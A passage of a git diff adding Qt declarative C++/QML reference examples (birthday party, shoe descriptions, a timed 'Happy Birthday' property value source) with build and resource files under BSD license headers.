+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ id: theParty
+
+ HappyBirthdaySong on announcement { name: theParty.host.name }
+
+ host: Boy {
+ name: "Bob Jones"
+ shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 }
+ }
+// ![0]
+ onPartyStarted: console.log("This party started rockin' at " + time);
+
+
+ Boy {
+ name: "Leo Hodges"
+ BirthdayParty.rsvp: "2009-07-06"
+ shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 }
+ }
+ Boy {
+ name: "Jack Smith"
+ shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 }
+ }
+ Girl {
+ name: "Anne Brown"
+ BirthdayParty.rsvp: "2009-07-01"
+ shoe.size: 7
+ shoe.color: "red"
+ shoe.brand: "Marc Jacobs"
+ shoe.price: 699.99
+ }
+
+// ![1]
+}
+// ![1]
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.cpp b/examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.cpp
new file mode 100644
index 00000000..3b5fabc2
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.cpp
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "happybirthdaysong.h"
+#include <QTimer>
+
+HappyBirthdaySong::HappyBirthdaySong(QObject *parent)
+: QObject(parent), m_line(-1)
+{
+ setName(QString());
+ QTimer *timer = new QTimer(this);
+ QObject::connect(timer, SIGNAL(timeout()), this, SLOT(advance()));
+ timer->start(1000);
+}
+
+void HappyBirthdaySong::setTarget(const QDeclarativeProperty &p)
+{
+ m_target = p;
+}
+
+QString HappyBirthdaySong::name() const
+{
+ return m_name;
+}
+
+void HappyBirthdaySong::setName(const QString &name)
+{
+ if (m_name == name)
+ return;
+
+ m_name = name;
+
+ m_lyrics.clear();
+ m_lyrics << "Happy birthday to you,";
+ m_lyrics << "Happy birthday to you,";
+ m_lyrics << "Happy birthday dear " + m_name + ",";
+ m_lyrics << "Happy birthday to you!";
+ m_lyrics << "";
+
+ emit nameChanged();
+}
+
+void HappyBirthdaySong::advance()
+{
+ m_line = (m_line + 1) % m_lyrics.count();
+
+ m_target.write(m_lyrics.at(m_line));
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.h b/examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.h
new file mode 100644
index 00000000..bc936581
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.h
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef HAPPYBIRTHDAYSONG_H
+#define HAPPYBIRTHDAYSONG_H
+
+#include <QDeclarativePropertyValueSource>
+#include <QDeclarativeProperty>
+
+#include <QStringList>
+
+class HappyBirthdaySong : public QObject, public QDeclarativePropertyValueSource
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+public:
+ HappyBirthdaySong(QObject *parent = 0);
+
+ virtual void setTarget(const QDeclarativeProperty &);
+
+ QString name() const;
+ void setName(const QString &);
+
+private slots:
+ void advance();
+
+signals:
+ void nameChanged();
+private:
+ int m_line;
+ QStringList m_lyrics;
+ QDeclarativeProperty m_target;
+ QString m_name;
+};
+
+#endif // HAPPYBIRTHDAYSONG_H
+
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/main.cpp b/examples/declarative/cppextensions/referenceexamples/binding/main.cpp
new file mode 100644
index 00000000..dda1f0f4
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/main.cpp
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "happybirthdaysong.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+ qmlRegisterType<BirthdayPartyAttached>();
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<HappyBirthdaySong>("People", 1,0, "HappyBirthdaySong");
+ qmlRegisterType<ShoeDescription>();
+ qmlRegisterType<Person>();
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ for (int ii = 0; ii < party->guestCount(); ++ii) {
+ Person *guest = party->guest(ii);
+
+ QDate rsvpDate;
+ QObject *attached =
+ qmlAttachedPropertiesObject<BirthdayParty>(guest, false);
+ if (attached)
+ rsvpDate = attached->property("rsvp").toDate();
+
+ if (rsvpDate.isNull())
+ qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd";
+ else
+ qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString());
+ }
+
+ party->startParty();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return app.exec();
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/person.cpp b/examples/declarative/cppextensions/referenceexamples/binding/person.cpp
new file mode 100644
index 00000000..4d7f9aa8
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/person.cpp
@@ -0,0 +1,138 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+ShoeDescription::ShoeDescription(QObject *parent)
+: QObject(parent), m_size(0), m_price(0)
+{
+}
+
+int ShoeDescription::size() const
+{
+ return m_size;
+}
+
+void ShoeDescription::setSize(int s)
+{
+ if (m_size == s)
+ return;
+
+ m_size = s;
+ emit shoeChanged();
+}
+
+QColor ShoeDescription::color() const
+{
+ return m_color;
+}
+
+void ShoeDescription::setColor(const QColor &c)
+{
+ if (m_color == c)
+ return;
+
+ m_color = c;
+ emit shoeChanged();
+}
+
+QString ShoeDescription::brand() const
+{
+ return m_brand;
+}
+
+void ShoeDescription::setBrand(const QString &b)
+{
+ if (m_brand == b)
+ return;
+
+ m_brand = b;
+ emit shoeChanged();
+}
+
+qreal ShoeDescription::price() const
+{
+ return m_price;
+}
+
+void ShoeDescription::setPrice(qreal p)
+{
+ if (m_price == p)
+ return;
+
+ m_price = p;
+ emit shoeChanged();
+}
+
+Person::Person(QObject *parent)
+: QObject(parent)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ if (m_name == n)
+ return;
+
+ m_name = n;
+ emit nameChanged();
+}
+
+ShoeDescription *Person::shoe()
+{
+ return &m_shoe;
+}
+
+
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/person.h b/examples/declarative/cppextensions/referenceexamples/binding/person.h
new file mode 100644
index 00000000..bbc64309
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/person.h
@@ -0,0 +1,113 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+#include <QColor>
+
+class ShoeDescription : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int size READ size WRITE setSize NOTIFY shoeChanged)
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY shoeChanged)
+ Q_PROPERTY(QString brand READ brand WRITE setBrand NOTIFY shoeChanged)
+ Q_PROPERTY(qreal price READ price WRITE setPrice NOTIFY shoeChanged)
+public:
+ ShoeDescription(QObject *parent = 0);
+
+ int size() const;
+ void setSize(int);
+
+ QColor color() const;
+ void setColor(const QColor &);
+
+ QString brand() const;
+ void setBrand(const QString &);
+
+ qreal price() const;
+ void setPrice(qreal);
+signals:
+ void shoeChanged();
+
+private:
+ int m_size;
+ QColor m_color;
+ QString m_brand;
+ qreal m_price;
+};
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+// ![0]
+ Q_PROPERTY(ShoeDescription *shoe READ shoe CONSTANT)
+// ![0]
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ ShoeDescription *shoe();
+signals:
+ void nameChanged();
+
+private:
+ QString m_name;
+ ShoeDescription m_shoe;
+};
+
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.cpp
new file mode 100644
index 00000000..85904a88
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.cpp
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.h
new file mode 100644
index 00000000..566a8c3a
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDeclarativeListProperty>
+#include "person.h"
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+// ![0]
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+// ![0]
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/coercion.pro b/examples/declarative/cppextensions/referenceexamples/coercion/coercion.pro
new file mode 100644
index 00000000..4b63bac7
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/coercion.pro
@@ -0,0 +1,17 @@
+TEMPLATE = app
+TARGET = coercion
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += coercion.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/coercion
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS coercion.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/coercion
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/coercion.qrc b/examples/declarative/cppextensions/referenceexamples/coercion/coercion.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/coercion.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/example.qml b/examples/declarative/cppextensions/referenceexamples/coercion/example.qml
new file mode 100644
index 00000000..5dc3996b
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/example.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ host: Boy {
+ name: "Bob Jones"
+ shoeSize: 12
+ }
+ guests: [
+ Boy { name: "Leo Hodges" },
+ Boy { name: "Jack Smith" },
+ Girl { name: "Anne Brown" }
+ ]
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/main.cpp b/examples/declarative/cppextensions/referenceexamples/coercion/main.cpp
new file mode 100644
index 00000000..8892eb9f
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/main.cpp
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
